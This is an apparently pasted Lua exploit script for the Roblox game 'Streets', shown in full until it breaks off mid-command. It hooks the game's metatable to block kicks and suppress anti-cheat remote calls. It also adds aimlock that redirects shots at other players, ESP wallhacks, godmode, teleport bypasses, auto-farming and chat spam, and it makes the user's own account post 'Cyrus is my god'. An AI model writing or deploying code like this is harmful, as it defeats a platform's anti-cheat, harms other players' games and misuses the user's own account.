· 5 years ago · May 28, 2020, 03:06 PM
1local Tick = tick()
2getgenv().Players = game:GetService'Players'
3getgenv().TeleportService = game:GetService'TeleportService'
4getgenv().ReplicatedStorage = game:GetService'ReplicatedStorage'
5getgenv().StarterGui = game:GetService'StarterGui'
6getgenv().TweenService = game:GetService'TweenService'
7getgenv().UserInput = game:GetService'UserInputService'
8getgenv().RunService = game:GetService'RunService'
9getgenv().Lighting = game:GetService'Lighting'
10getgenv().CoreGui = game:GetService'CoreGui'
11getgenv().HttpService = game:GetService'HttpService'
12getgenv().MarketplaceService = game:GetService'MarketplaceService'
13getgenv().LP = Players.LocalPlayer or Players.PlayerAdded:Wait()
14getgenv().Mouse = LP:GetMouse()
15getgenv().GetChar = function() return LP.Character or LP.CharacterAdded:Wait() end
16GetChar():WaitForChild('Humanoid',10) -- allows auto-execution
17local PlayerTable,Commands,KeyTable,UrlEncoder,AdminUsers,DontStompWhitelisted = {},{},{['w'] = false;['a'] = false;['s'] = false;['d'] = false;['Shift'] = false;['Control'] = false;},{['0'] = "%30";['1'] = "%31";['2'] = "%32";['3'] = "%33"; ['4'] = "%34";['5'] = "%35";['6'] = "%36";['7'] = "%37";['8'] = "%38";['9'] = "%39";[' '] = "%20";},{},{}
18local NormalWS,NormalJP,NormalHH = GetChar().Humanoid.WalkSpeed,GetChar().Humanoid.JumpPower,GetChar().Humanoid.HipHeight
19local AimLock,GodMode,AutoDie,AliasesEnabled,Noclipping,AutoFarm,ItemEsp,WalkShoot,flying,AutoStomp,Freecam,CamLocking,FeLoop,TpBypass,HealBot = false,false,false,true,false,false,false,false,false,false,false,false,false,false,false
20local BlinkSpeed,SpawnWS,SpawnJP,SpawnHH,ClockTime,PlayOnDeath,AimlockTarget,CamlockPlayer,LoopPlayer
21local AirWalk = Instance.new'Part'
22local Cframe = Instance.new("Frame",CoreGui.RobloxGui)
23local CText,CmdFrame,MainFrame,DmgIndicator = Instance.new("TextBox",Cframe),Instance.new("Frame",Cframe),Instance.new('Frame',CoreGui.RobloxGui),Instance.new('TextLabel',LP.PlayerGui.Chat.Frame)
24local ScrollingFrame,SearchBar,Credits = Instance.new('ScrollingFrame',MainFrame),Instance.new('TextBox',MainFrame),Instance.new('TextLabel',MainFrame)
25local BulletColour,ItemEspColour,EspColour = ColorSequence.new(Color3.fromRGB(144,0,0)),Color3.fromRGB(200,200,200),Color3.fromRGB(200,200,200)
26local UseDraw,DrawingT = pcall(assert,Drawing,'test')
27local ShiftSpeed,ControlSpeed,WalkSpeed,HealBotHealth,BlinkSpeed = 25,8,16,25,1
28local OldFov = workspace.CurrentCamera.FieldOfView
29local Config = "CyrusStreetsAdminSettings"
30local TargetPart,AimlockMode = "Prediction","LeftClick"
31Players:Chat("Cyrus is my god")
32Players:Chat("Hey I'm a cyrus' streets admin user1")
33local RobloxInForeground = true
34local DrawTable = {
35 ['LineColour'] = Color3.fromRGB(0,144,0);
36 ['Thickness'] = 1;
37 ['Transparency'] = 1;
38 ['Visible'] = true;
39}
40
41if UseDraw then
42 DrawingT = Drawing.new'Text'
43 DrawingT.Visible = true
44 DrawingT.Center = true
45 DrawingT.Size = 15
46 DrawingT.Position = Vector2.new((workspace.CurrentCamera.ViewportSize.X / 2) - 450, (workspace.CurrentCamera.ViewportSize.Y - 125))
47 DrawingT.Color = Color3.fromRGB(255,255,255)
48 DrawingT.Text = "Current WalkSpeed: "..GetChar().Humanoid.WalkSpeed.."\nSprinting Speed: "..ShiftSpeed.."\nCrouching Speed: "..ControlSpeed.."\nJumpPower: "..GetChar().Humanoid.JumpPower.."\nFlying: "..tostring(flying).."\nNoclipping: "..tostring(Noclipping).."\nAimlock Target: "..tostring(AimlockTarget)
49end
50
51if workspace:FindFirstChild'Armoured Truck' then
52 PartTable = {
53 ['Burger'] = workspace:WaitForChild'Burger | $15';
54 ['Drink'] = workspace:WaitForChild'Drink | $15';
55 ['Ammo'] = workspace:WaitForChild'Buy Ammo | $25';
56 ['Pipe'] = workspace:WaitForChild'Pipe | $100';
57 ['Machete'] = workspace:WaitForChild'Machete | $70';
58 ['SawedOff'] = workspace:WaitForChild'Sawed Off | $150';
59 ['Spray'] = workspace:WaitForChild'Spray | $20';
60 ['Uzi'] = workspace:WaitForChild'Uzi | $150';
61 ['Glock'] = workspace:WaitForChild'Glock | $200';
62 }
63 workspace["Armoured Truck"]:Destroy()
64elseif workspace:FindFirstChild'TPer' then
65 workspace['TPer']:Destroy()
66end
67
68LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Visible = true
69LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y)
70--^ Ty to Jayy#0648 for this "Hack" for bringing back normal chat
71
72local SettingsTable = {
73 Keys = {};
74 ClickTpKey = "";
75 ShiftSpeed = 25;
76 ControlSpeed = 8;
77 TargetPart = "Prediction";
78 AimlockMode = "LeftClick";
79 BlinkMode = "Shift";
80}
81
82-- Hotkey start
83
84local function savesettings()
85 writefile(Config,HttpService:JSONEncode(SettingsTable))
86 local SettingsToSave = HttpService:JSONDecode(readfile(Config))
87 Keys = SettingsToSave.Keys;
88 ClickTpKey = SettingsToSave.ClickTpKey;
89 ShiftSpeed = SettingsToSave.ShiftSpeed;
90 ControlSpeed = SettingsToSave.ControlSpeed;
91 TargetPart = SettingsToSave.TargetPart;
92 AimlockMode = SettingsToSave.AimlockMode;
93 BlinkMode = SettingsToSave.BlinkMode;
94end
95
96getgenv().updateSettings = function()
97 local New = {
98 Keys = Keys;
99 ClickTpKey = ClickTpKey;
100 ShiftSpeed = ShiftSpeed;
101 ControlSpeed = ControlSpeed;
102 TargetPart = TargetPart;
103 AimlockMode = AimlockMode;
104 BlinkMode = BlinkMode;
105 }
106 writefile(Config,HttpService:JSONEncode(New))
107end
108
109local function runsettings()
110 local SettingsToRun = HttpService:JSONDecode(readfile(Config))
111 Keys = SettingsToRun.Keys
112 ClickTpKey = SettingsToRun.ClickTpKey
113 BlinkMode = SettingsToRun.BlinkMode
114 if SettingsToRun.AimlockMode then
115 AimlockMode = SettingsToRun.AimlockMode
116 end
117 if SettingsToRun.TargetPart then
118 TargetPart = SettingsToRun.TargetPart
119 end
120 if SettingsToRun.ShiftSpeed and SettingsToRun.ControlSpeed then
121 ShiftSpeed = SettingsToRun.ShiftSpeed;
122 ControlSpeed = SettingsToRun.ControlSpeed;
123 end
124end
125
126if readfile and writefile then
127 local Work,Error = pcall(readfile,Config)
128 if not Work then
129 savesettings()
130 else
131 runsettings()
132 end
133end
134
135-- Hotkey end
136
137-- Bypass Start
138
139local gamememe = getrawmetatable(game)
140local Closure,Caller = newcclosure,checkcaller or is_protosmasher_caller or Cer.isCerus
141local writeable = setreadonly or make_writeable
142local callingscript = getcallingscript or get_calling_script
143local name,index,nindex = gamememe.__namecall,gamememe.__index,gamememe.__newindex
144writeable(gamememe,false)
145
146gamememe.__index = Closure(function(self,Index)
147 if TpBypass and callingscript and callingscript() ~= script and Index == "HumanoidRootPart" then -- was requested to add this
148 return index(self,"Torso")
149 end
150 return index(self,Index)
151end)
152
153gamememe.__newindex = Closure(function(self,Property,b)
154if Caller() then return nindex(self,Property,b) end
155 if self:IsA'Humanoid' then
156 game:GetService'StarterGui':SetCore('ResetButtonCallback',true)
157 if Property == "WalkSpeed" then
158 if WalkShoot then
159 return
160 end
161 end
162 if Property == "Health" or Property == "JumpPower" or Property == "HipHeight" then
163 return
164 end
165 end
166 if Property == "CFrame" and self:IsDescendantOf(LP.Character) then
167 return
168 end
169 return nindex(self,Property,b)
170end)
171
172gamememe.__namecall = Closure(function(self,...)
173local Arguments = {...}
174 if Caller() then
175 if getnamecallmethod() == "FindFirstChild" then
176 if Arguments[1] == "RealHumanoidRootPart" then
177 Arguments[1] = "HumanoidRootPart"
178 return name(self,unpack(Arguments))
179 end
180 end
181 return name(self,...)
182 end
183 if getnamecallmethod() == "Destroy" and tostring(self) == "BodyGyro" or getnamecallmethod() == "Destroy" and tostring(self) == "BodyVelocity" then
184 return invalidfunctiongang(self,...)
185 end
186 if getnamecallmethod() == "BreakJoints" and self.Name == LP.Character.Name then
187 return invalidfunctiongang(self,...)
188 end
189 if getnamecallmethod() == "Kick" or getnamecallmethod() == "Destroy" and tostring(self) == tostring(LP) then
190 return
191 end
192 if getnamecallmethod() == "WaitForChild" or getnamecallmethod() == "FindFirstChild" then
193 if callingscript and callingscript() ~= script and TpBypass and Arguments[1] == "HumanoidRootPart" then
194 Arguments[1] = "Torso"
195 return name(self,unpack(Arguments))
196 end
197 end
198 if getnamecallmethod() == "FireServer" then
199 if self.Name == "lIII" or tostring(self.Parent) == "ReplicatedStorage" then
200 return wait(9e9)
201 end
202 if Arguments[1] == "hey" then
203 return wait(9e9)
204 end
205 if Arguments[1] == "play" then
206 local TempTable = {}
207 tostring(Arguments[2]):gsub('.',function(Char)
208 if UrlEncoder[Char] then
209 table.insert(TempTable,UrlEncoder[Char])
210 else
211 table.insert(TempTable,Char)
212 end
213 end)
214 Arguments[2] = table.concat(TempTable,"")
215 PlayOnDeath = Arguments[2]
216 return name(self,unpack(Arguments))
217 end
218 if Arguments[1] == "stop" then
219 PlayOnDeath = nil
220 end
221 end
222 if LP.Character.FindFirstChildOfClass(LP.Character,"Tool") and typeof(Arguments[1]) == "CFrame" then
223 if AimlockTarget and AimLock then
224 if TargetPart == "Prediction" then
225 if AimlockTarget.FindFirstChild(AimlockTarget,"HumanoidRootPart") then
226 return name(self,AimlockTarget.Head.CFrame + AimlockTarget.HumanoidRootPart.Velocity / 10)
227 else
228 return name(self,AimlockTarget.Head.CFrame + AimlockTarget.Torso.Velocity / 10)
229 end
230 else
231 if AimlockTarget.FindFirstChild(AimlockTarget,TargetPart) then
232 return name(self,AimlockTarget[TargetPart].CFrame)
233 else
234 notif(tostring(AimlockTarget).." doesn't have that part in their character.","I recommend switching to something else.",5,nil)
235 end
236 end
237 end
238 end
239 return name(self,...)
240end)
241
242writeable(gamememe,true)
243-- Bypass End
244
245getgenv().notif = function(title,message,length,icon)
246 StarterGui:SetCore("SendNotification",{['Title'] = title;['Text'] = message;['Duration'] = length;['Icon'] = icon;})
247end
248
249getgenv().Teleport = function(Part)
250if not typeof(Part) == "CFrame" then return end
251local PartFound = GetChar():FindFirstChild'HumanoidRootPart' or GetChar():FindFirstChild'Torso'
252 if not GetChar():FindFirstChild'HumanoidRootPart' then
253 PartFound.CFrame = Part
254 else
255 local Play = TweenService:Create(PartFound, TweenInfo.new(3.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),{CFrame = Part})
256 Play:play()
257 end
258end
259
260local function hasItem(Player,Item)
261 if type(Item) == "boolean" then
262 local Tool = Player.Character:FindFirstChildOfClass'Tool'
263 if Tool then
264 return Tool.Name
265 else
266 return 'none'
267 end
268 end
269 if Player.Backpack:FindFirstChild(Item) or Player.Character:FindFirstChild(Item) then
270 return 'yes'
271 else
272 return 'no'
273 end
274end
275
276local function checkHp(Plr)
277 return Plr:FindFirstChildOfClass'Humanoid' and Plr.Humanoid.Health or "No Humanoid"
278end
279
280local function LegacyEsp(Player)
281if not Player.Character or not Player.Character:FindFirstChild'Head' then return end
282 local Esp1 = Instance.new("BillboardGui",Player.Character)
283 local Text = Instance.new("TextLabel",Esp1)
284 Esp1.Adornee = Player.Character.Head
285 Esp1.Name = "[ESP]"..Player.Name
286 Esp1.Size = UDim2.new(0,100,0,100)
287 Esp1.StudsOffset = Vector3.new(0,1,0)
288 Esp1.AlwaysOnTop = true
289 Text.BackgroundTransparency = 1
290 Text.Position = UDim2.new(0,0,0,0)
291 Text.Size = UDim2.new(1,0,0,40)
292 Text.TextStrokeTransparency = 0.5
293 Text.TextSize = 15
294 local PCChild = Player.Character:GetChildren()
295 RunService.Stepped:Connect(function()
296 if Player and Player.Character and Player.Character:FindFirstChild'Head' and GetChar():FindFirstChild'Head' then
297 Text.Text = Player.Name.." Position: "..math.floor((GetChar().Head.Position - Player.Character.Head.Position).magnitude)
298 Text.TextStrokeColor3 = EspColour
299 Text.TextColor3 = EspColour
300 end
301 end)
302 return Esp1
303end
304
305local EspTable = {}
306local function espPlayer(Player,Method,IsUser)
307if not Player.Character or not Player.Character:FindFirstChild'Head' then return end
308if not IsUser then IsUser = "false" else IsUser = "true" end
309if table.find(AdminUsers,Player.UserId) then IsUser = "true" end
310 if not UseDraw or Method == "Legacy" then
311 local Esp1 = LegacyEsp(Player)
312 local CAdded;
313 CAdded = Player.CharacterAdded:Connect(function(C)
314 if table.find(EspTable,Player.UserId) then
315 C:WaitForChild('Head',10)
316 Esp1 = LegacyEsp(Player)
317 else
318 CAdded:Disconnect()
319 end
320 end)
321 else
322 local TopLeft,TopRight,BottomLeft,BottomRight = Drawing.new'Line',Drawing.new'Line',Drawing.new'Line',Drawing.new'Line'
323 local Text = Drawing.new'Text'
324 TopLeft.Color = Color3.fromRGB(144,0,0)
325 TopRight.Color = Color3.fromRGB(144,0,0)
326 BottomLeft.Color = Color3.fromRGB(144,0,0)
327 BottomRight.Color = Color3.fromRGB(144,0,0)
328 local Tracer = Drawing.new'Line'
329 PlayerTable[#PlayerTable + 1] = {Player,TopLeft,TopRight,BottomLeft,BottomRight,Text,Tracer,IsUser}
330 end
331end
332
333local function Unesp(P)
334 for i = 1,#PlayerTable do
335 if PlayerTable[i] and PlayerTable[i][1] == P then
336 PlayerTable[i][2]:Remove()
337 PlayerTable[i][3]:Remove()
338 PlayerTable[i][4]:Remove()
339 PlayerTable[i][5]:Remove()
340 PlayerTable[i][6]:Remove()
341 PlayerTable[i][7]:Remove()
342 PlayerTable[i][8] = nil
343 table.remove(PlayerTable,i)
344 end
345 end
346end
347
348local function GrabThing(Thing,OldPos)
349if not PartTable then
350 notif("Can't tp to "..Thing,"as you are not playing normal streets!",5,"rbxassetid://1281284684") return
351end
352local PartFound = GetChar():FindFirstChild'HumanoidRootPart' or GetChar():FindFirstChild'Torso'
353local Anim = Instance.new'Animation'
354Anim.AnimationId = "rbxassetid://188632011"
355local Track = GetChar().Humanoid:LoadAnimation(Anim)
356PartFound.CFrame = PartFound.CFrame * CFrame.new(math.random(20,45),0,math.random(1,5))
357wait()
358 repeat
359 Track:play(.1,1,1)
360 PartFound.CFrame = PartTable[Thing]:FindFirstChildOfClass'Part'.CFrame + Vector3.new(0,0.5,0)
361 RunService.Heartbeat:wait()
362 until PartTable[Thing]:FindFirstChildOfClass'Part'.BrickColor == BrickColor.new'Bright red' or GetChar():FindFirstChild'KO' or GetChar().Humanoid.Health == 0
363 PartFound.CFrame = OldPos
364 return true
365end
366
367getgenv().FireGun = function(Tool)
368 if AimlockTarget and AimLock then
369 Tool.Fire:FireServer(AimlockTarget.Head.CFrame + AimlockTarget.Torso.Velocity/5)
370 else
371 Tool.Fire:FireServer(Mouse.Hit)
372 end
373end
374
375local function Button1Down()
376local MTarget = Mouse.Target
377 if GetChar():FindFirstChild'Zetox Btools' then
378 Mouse.Target:Destroy()
379 end
380 if MTarget and MTarget.Parent then
381 local NTarget = MTarget.Parent
382 if not Players:GetPlayerFromCharacter(NTarget) then NTarget = NTarget.Parent end
383 if not Players:GetPlayerFromCharacter(NTarget) then return end
384 if NTarget ~= LP.Character and NTarget ~= AimlockTarget and AimLock and AimlockMode == "LeftClick" then
385 AimlockTarget = NTarget
386 local Connection;
387 Connection = Players:GetPlayerFromCharacter(NTarget).CharacterAdded:Connect(function(C)
388 if tostring(AimlockTarget) == tostring(C) then
389 AimlockTarget = C
390 else
391 Connection:Disconnect()
392 end
393 end)
394 notif("AimlockTarget has been set to",AimlockTarget.Name,5,nil)
395 end
396 end
397end
398
399local function BehindAWall(Target)
400 local RYEBread = Ray.new(workspace.CurrentCamera.CoordinateFrame.p,Target.Head.Position - workspace.CurrentCamera.CoordinateFrame.Position)
401 local RYEBreadHit = workspace:FindPartOnRay(RYEBread)
402 if RYEBreadHit then
403 if RYEBreadHit:IsDescendantOf(Target) then
404 return false
405 else
406 return true
407 end
408 end
409end
410
411local function closestToMouse()
412local ClosestPos,ClosestPlayer = math.huge,nil
413 for i,v in pairs(Players:GetPlayers()) do
414 if v.Character and v.Character:FindFirstChild'Head' and v ~= LP then
415 local Dist = (v.Character.Head.Position - workspace.CurrentCamera.CoordinateFrame.Position).magnitude
416 local RYETarget = Ray.new(workspace.CurrentCamera.CoordinateFrame.Position,(Mouse.Hit.p - workspace.CurrentCamera.CoordinateFrame.Position)).unit
417 local RYEHit,RYEPos = workspace:FindPartOnRay(RYETarget,workspace)
418 local NewPos = math.floor((RYEPos - v.Character.Head.Position).magnitude)
419 if NewPos < 500 and NewPos < ClosestPos and not BehindAWall(v.Character) then
420 ClosestPos = NewPos
421 ClosestPlayer = v
422 end
423 end
424 end
425 return ClosestPlayer
426end
427
428local function Button2Down()
429if Mouse.Target then
430 local Target = Mouse.Target.Parent
431 if Target:FindFirstChild'Lock' and Target:FindFirstChild'Click' and Target:FindFirstChild'Locker' then
432 if Target.Locker.Value then
433 Target.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
434 Target.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
435 else
436 Target.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
437 Target.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
438 end
439 end
440 end
441 if AimLock and AimlockMode == "RightClick" and KeyTable['Shift'] then
442 AimlockTarget = closestToMouse().Character
443 local Connection;
444 Connection = Players:GetPlayerFromCharacter(AimlockTarget).CharacterAdded:Connect(function(C)
445 if tostring(AimlockTarget) == tostring(C) then
446 AimlockTarget = C
447 else
448 Connection:Disconnect()
449 end
450 end)
451 notif("AimlockTarget","has been set to"..AimlockTarget.Name,5,nil)
452 end
453end
454
455local function FreeCam(Speed)
456if not GetChar():FindFirstChild'Head' then return end
457 if workspace:FindFirstChild'FreecamPart' then
458 workspace.FreecamPart:Destroy()
459 end
460 Speed = Speed or 35
461 GetChar().Head.Anchored = true
462 local FreecamPart = Instance.new('Part',workspace)
463 FreecamPart.Name = "FreecamPart"
464 FreecamPart.Position = GetChar().Head.Position + Vector3.new(0,5,0)
465 FreecamPart.Transparency = 1
466 FreecamPart.CanCollide = false
467 FreecamPart.Anchored = true
468 workspace.CurrentCamera.CameraSubject = FreecamPart
469 repeat wait()
470 local Pos = Vector3.new()
471 local Look = (workspace.CurrentCamera.Focus.p - workspace.CurrentCamera.CoordinateFrame.p).unit
472 local PartPos = FreecamPart.Position
473 if KeyTable['w'] then
474 Pos = Pos + Vector3.new(0,0,-1)
475 elseif KeyTable['a'] then
476 Pos = Pos + Vector3.new(-1,0,0)
477 elseif KeyTable['s'] then
478 Pos = Pos + Vector3.new(0,0,1)
479 elseif KeyTable['d'] then
480 Pos = Pos + Vector3.new(1,0,0)
481 elseif KeyTable['Space'] then
482 Pos = Pos + Vector3.new(0,1,0)
483 elseif KeyTable['Control'] then
484 Pos = Pos + Vector3.new(0,-1,0)
485 end
486 FreecamPart.CFrame = CFrame.new(PartPos,PartPos + Look) * CFrame.new(Pos * Speed)
487 until not Freecam or GetChar().Humanoid.Health == 0
488 workspace.CurrentCamera.CameraSubject = GetChar()
489 GetChar().Head.Anchored = false
490 if workspace:FindFirstChild'FreecamPart' then
491 workspace.FreecamPart:Destroy()
492 end
493end
494
495local function b(Text)
496 DmgIndicator.Visible = true
497 DmgIndicator.Text = Text
498 wait(5)
499 DmgIndicator.Text = ""
500 DmgIndicator.Visible = false
501end
502
503local function Char(Plr)
504local Tool = Plr:FindFirstChildOfClass'Tool'
505 if Tool:FindFirstChild'Fire' then
506 return 'shot you',Tool
507 else
508 return 'hit you',Tool
509 end
510end
511
512getgenv().AddCommand = function(CommandF,Name,Alias,Help)
513 Commands[#Commands + 1] = {['Function'] = CommandF,['Name'] = Name,['Alias'] = Alias,['Help'] = Help}
514end
515
516getgenv().FindCommand = function(Command,Help)
517 for i = 1,#Commands do
518 if Commands[i].Name:lower() == Command or AliasesEnabled and table.find(Commands[i].Alias,Command) then
519 return Help and Commands[i].Name.." "..Commands[i].Help or Commands[i].Function
520 end
521 end
522end
523
524getgenv().CheckCommand = function(Chat)
525 local Arguments = string.split(Chat," ")
526 local NCommand = FindCommand(table.remove(Arguments,1):lower())
527 if NCommand then
528 local Work,Error = pcall(NCommand,Arguments)
529 if not Work then
530 wait(0.5)
531 ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("There was an error with this command, I have set it to your clipboard. Send it to Cy (with the command you used) and it should be fixed next update.","All")
532 if setclipboard then
533 setclipboard(Error)
534 else
535 print(Error)
536 end
537 end
538 end
539end
540
541getgenv().PlrFinder = function(Plr)
542local NewPlr,Player = Plr:lower(),Players:GetPlayers()
543if #NewPlr == 2 and NewPlr == "me" then return LP end
544if NewPlr == "all" then return Player end
545 for i = 1,#Player do
546 if Player[i].Name:lower():sub(1,#NewPlr) == NewPlr then
547 return Player[i]
548 end
549 end
550end
551
552local JustDoubleJumped = false
553local function HumanoidState(Old,New)
554 if New == Enum.HumanoidStateType.Landed and JustDoubleJumped then
555 local Anim = Instance.new'Animation'
556 Anim.AnimationId = "rbxassetid://129423030"
557 local AnimTrack = GetChar().Humanoid:LoadAnimation(Anim)
558 wait(0.3)
559 AnimTrack:play()
560 JustDoubleJumped = false
561 elseif New == Enum.HumanoidStateType.FallingDown or New == Enum.HumanoidStateType.PlatformStanding and NoGh or flying then
562 GetChar().Humanoid.PlatformStand = false
563 GetChar().Humanoid:ChangeState(8)
564 end
565end
566
567local function DoubleJump()
568 if GetChar() and GetChar().Humanoid and DoubleJumpEnabled then
569 GetChar().Humanoid:ChangeState(3)
570 local Anim = Instance.new'Animation'
571 Anim.AnimationId = "rbxassetid://229782914"
572 local AnimTrack = GetChar().Humanoid:LoadAnimation(Anim)
573 AnimTrack:play(.1,1,1.5)
574 JustDoubleJumped = true
575 end
576end
577
578getgenv().find = function(Item)
579 for i,v in pairs(workspace:GetChildren()) do
580 if v.Name == "RandomSpawner" and v:FindFirstChild'Model' then
581 local Handle = v.Model.Handle
582 if Item == "Cash" and Handle:FindFirstChildOfClass'MeshPart' and string.find(Handle:FindFirstChildOfClass'MeshPart'.MeshId,"511726060") then
583 return v
584 elseif Item == "Shotty" and Handle:FindFirstChild'Fire' and string.find(Handle.Fire.SoundId,"142383762") then
585 return v
586 elseif Item == "Sawed Off" and Handle:FindFirstChild'Fire' and string.find(Handle.Fire.SoundId,"219397110") then
587 return v
588 elseif Item == "Uzi" and Handle:FindFirstChild'Fire' and string.find(Handle.Fire.SoundId,"328964620") then
589 return v
590 elseif Item == "All" then
591 return v
592 end
593 end
594 end
595end
596
597local function uselessfunction(Thing)
598local Model = Thing:WaitForChild('Model',10)
599if Model then
600 local Handle = Thing.Model.Handle
601 if Handle:FindFirstChildOfClass'MeshPart' and string.find(Handle:FindFirstChildOfClass'MeshPart'.MeshId,"511726060") then
602 return "Cash"
603 elseif Handle:FindFirstChild'Fire' and string.find(Handle.Fire.SoundId,"142383762") then
604 return "Shotty"
605 elseif Handle:FindFirstChild'Fire' and string.find(Handle.Fire.SoundId,"219397110") then
606 return "Sawed Off"
607 elseif Handle:FindFirstChild'Fire' and string.find(Handle.Fire.SoundId,"328964620") then
608 return "Uzi"
609 elseif Handle:FindFirstChild'Blade' and string.find(Handle.Blade.TextureID,"12177251") then
610 return "Katana"
611 end
612 end
613end
614
615local function addBillBoardGui(Item)
616 local Itemx = uselessfunction(Item)
617 if not Itemx then return end
618 local Esp1 = Instance.new("BillboardGui",Item)
619 local Text = Instance.new("TextLabel",Esp1)
620 Esp1.Adornee = Item
621 Esp1.Size = UDim2.new(0,100,0,100)
622 Esp1.StudsOffset = Vector3.new(0,1,0)
623 Esp1.AlwaysOnTop = true
624 Text.BackgroundTransparency = 1
625 Text.Position = UDim2.new(0,0,0,0)
626 Text.Size = UDim2.new(1,0,0,40)
627 Text.TextColor3 = ItemEspColour
628 Text.TextStrokeTransparency = 0.5
629 Text.TextSize = 15
630 Text.TextStrokeColor3 = ItemEspColour
631 Text.Text = Itemx
632end
633
634workspace.ChildAdded:Connect(function(Part)
635 if Part.Name == "RandomSpawner" then
636 if AutoFarm then
637 farm("Cash")
638 end
639 if ItemEsp then
640 addBillBoardGui(Part)
641 end
642 end
643end)
644
645
646getgenv().farm = function(Item)
647 for i,v in pairs(workspace:GetChildren()) do
648 if v.Name == "RandomSpawner" then
649 if find(Item) and type(find(Item)) == "userdata" then
650 Teleport(find(Item).CFrame)
651 wait(3)
652 else
653 notif("Farm "..Item,"None of "..Item.." on the map",5,"rbxassetid://1281284684")
654 break;
655 end
656 end
657 end
658end
659
660AddCommand(function()
661 AliasesEnabled = not AliasesEnabled
662 notif("AliasesEnabled","Has been set to "..tostring(AliasesEnabled),5,nil)
663end,"usealias",{},"Turns on / off Aliases")
664
665AddCommand(function(Arguments)
666 if not Arguments[1] then
667 MainFrame.Visible = not MainFrame.Visible
668 end
669end,"help",{"commands","cmds"},"Gives you the commands help info")
670
671AddCommand(function()
672 local Btool = Instance.new('Tool',LP.Backpack)
673 Btool.Name = "Zetox Btools"
674end,"btools",{},"Gives you Btools")
675
676AddCommand(function()
677 local Children = LP.PlayerGui.HUD:GetChildren()
678 for i = 1,#Children do
679 if Children[i]:IsA'Frame' then
680 Children[i].Active = not Children[i].Active
681 Children[i].Draggable = not Children[i].Draggable
682 end
683 end
684end,"draggablegui",{},"Makes the HP/KO/Stamina bar draggable")
685
686AddCommand(function()
687 NoGh = not NoGh
688 notif("Nogh","Has been set to "..tostring(NoGh),5,nil)
689end,"nogroundhit",{"nogh","antigh","antigroundhit"},"Makes it so you can't be ground hit")
690
691AddCommand(function(Arguments)
692 if not Arguments[1] then
693 GodMode = not GodMode
694 GetChar():BreakJoints()
695 end
696end,"godmode",{"god"},"Gods your player (Breaks tools)")
697
698AddCommand(function(Arguments)
699 local Tool = GetChar():FindFirstChildOfClass'Tool'
700 if Tool then
701 Tool.Parent = LP.Backpack
702 Tool.Grip = CFrame.new(Arguments[1] or 0,Arguments[2] or 0,Arguments[3] or 0) + Vector3.new(Arguments[4] or 0,Arguments[5] or 0,Arguments[6] or 0)
703 Tool.Parent = GetChar()
704 else
705 notif("NO TOOLS","ONE TOOL IS NEEDED",5,nil)
706 end
707end,"grippos",{"grip"},"[1 2 3 4 5 6] - changes grip pos to the arguments you set (First 3 are CFrame,last 3 are Vector)")
708
709AddCommand(function(Arguments)
710local GDesc = game:GetDescendants()
711 for i = 1,Arguments[1] or 50 do
712 for i = 1,#GDesc do
713 if GDesc[i]:IsA'Tool' and GDesc[i]:FindFirstChild'Click' then
714 GDesc[i].Click:FireServer()
715 wait()
716 end
717 end
718 end
719end,"spamclick",{},"spams the Click remote and makes annoying sounds")
720
721AddCommand(function()
722local WChild = workspace:GetChildren()
723 for i = 1,#WChild do
724 if WChild[i].Name == "Door" and WChild[i]:FindFirstChild'Click' and WChild[i]:FindFirstChild'Lock' then
725 WChild[i].Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
726 WChild[i].Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
727 wait()
728 end
729 end
730end,"doors",{},"locks/unlocks doors")
731
732local SpamDelay,SpamMessage,Spamming = 1,"Cyrus' Admin Or No Admin",false
733AddCommand(function(Arguments)
734 if Arguments[1] then
735 SpamMessage = table.concat(Arguments," ")
736 end
737 Spamming = not Spamming
738end,"spam",{},"Spams a message you set")
739
740AddCommand(function(Arguments)
741 SpamDelay = Arguments[1] or 1
742end,"spamdelay",{},"Delays the spam for [amount] Default: 1 second")
743
744AddCommand(function()
745local GDesc = game:GetDescendants()
746 for i = 1,10 do
747 for i = 1,#GDesc do
748 if GDesc[i]:IsA'Tool' and GDesc[i]:FindFirstChild'Click' then
749 GDesc[i].Click:FireServer()
750 end
751 end
752 end
753end,"muteallradios",{"muteradios"},"Mutes all radios (does not loop)")
754
755AddCommand(function(Arguments)
756 if Arguments[1] then
757 Normalwalk = true
758 WalkShoot = true
759 GetChar().Humanoid.WalkSpeed = Arguments[1]
760 WalkSpeed = Arguments[1]
761 end
762end,"speed",{"ws"},"Changes your Humanoids WalkSpeed")
763
764AddCommand(function()
765 WalkShoot = not WalkShoot
766end,"walkshoot",{"noslow"},"Allows you to turn on / off walk shooting")
767
768AddCommand(function(Arguments)
769 Normalwalk = false
770 ControlSpeed = Arguments[1]
771 updateSettings()
772end,"crouchspeed",{"cspeed"},"Changes your Crouching speed")
773
774AddCommand(function(Arguments)
775 Normalwalk = false
776 ShiftSpeed = Arguments[1]
777 updateSettings()
778end,"sprintspeed",{"sspeed"},"Changes your sprinting speed")
779
780AddCommand(function(Arguments)
781 GetChar().Humanoid.HipHeight = Arguments[1]
782end,"hipheight",{"hh"},"Changes your Humanoids HipHeight")
783
784AddCommand(function(Arguments)
785 GetChar().Humanoid.JumpPower = Arguments[1]
786end,"jumppower",{"jp"},"Changes your Humanoids JumpPower")
787
788AddCommand(function(Arguments)
789 if not Arguments[1] then
790 TeleportService:TeleportToPlaceInstance(game.PlaceId,game.JobId)
791 end
792end,"rejoin",{"rj"},"Rejoins your CURRENT game server")
793
794AddCommand(function(Arguments)
795 if not Arguments[1] then
796 GetChar():BreakJoints()
797 end
798end,"reset",{"re"},"SUICIDE IS PAINLESS IT BRINGS ON MANY CHANGES")
799
800AirWalk.Anchored = true
801AirWalk.Size = Vector3.new(5,1,5)
802AirWalk.Transparency = 1
803AirWalk.Material = "Neon"
804AddCommand(function(Arguments)
805 AirWalkOn = not AirWalkOn
